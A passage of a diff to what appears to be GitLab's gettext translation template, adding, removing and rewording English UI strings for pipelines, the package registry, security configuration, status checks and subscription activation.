+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19312,6 +19687,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19558,18 +19936,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19741,6 +20113,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19777,6 +20155,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -20293,7 +20674,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20551,6 +20932,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20638,6 +21022,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20833,6 +21220,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20884,9 +21274,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -21175,10 +21562,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -21283,6 +21670,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21457,10 +21847,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21721,6 +22111,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21853,6 +22249,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21880,6 +22279,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -22051,9 +22453,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -22153,9 +22552,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22507,7 +22903,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22534,6 +22930,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22747,6 +23146,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -23089,6 +23491,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23473,7 +23878,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23572,7 +23977,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23638,6 +24043,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23665,6 +24073,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23707,6 +24118,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23728,6 +24142,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23779,9 +24196,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23791,6 +24217,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23806,6 +24235,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23851,6 +24283,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23863,12 +24298,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23965,7 +24394,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23980,6 +24409,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -24031,6 +24463,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -24166,6 +24601,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -24244,6 +24682,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -24298,6 +24739,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24364,6 +24853,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24421,6 +24913,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24442,6 +24937,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24496,6 +24994,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24526,9 +25027,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24826,9 +25324,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24865,6 +25369,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24874,6 +25381,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24907,9 +25417,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24937,6 +25444,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -25093,6 +25603,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25447,7 +25960,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25705,6 +26218,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25858,9 +26374,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26335,9 +26848,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26389,12 +26899,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26407,6 +26911,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26419,9 +26926,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26437,10 +26941,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26449,9 +26953,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -27199,9 +27700,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -27211,6 +27709,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -27313,7 +27814,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27550,9 +28051,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27568,6 +28066,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28543,6 +29044,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -29164,16 +29677,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -29188,6 +29710,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -29200,6 +29725,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -29212,10 +29740,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -29224,6 +29752,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -29278,6 +29809,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -29296,9 +29830,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -29320,9 +29851,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29491,6 +30019,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29557,6 +30088,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29791,6 +30325,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29944,9 +30481,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -30181,9 +30715,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30430,6 +30961,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30523,6 +31060,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30760,6 +31300,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31066,6 +31609,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -31081,10 +31627,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -31306,18 +31855,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31351,9 +31939,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31408,6 +31993,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31513,6 +32101,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31624,6 +32215,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31648,6 +32242,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31759,42 +32356,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31804,18 +32452,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31834,6 +32512,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
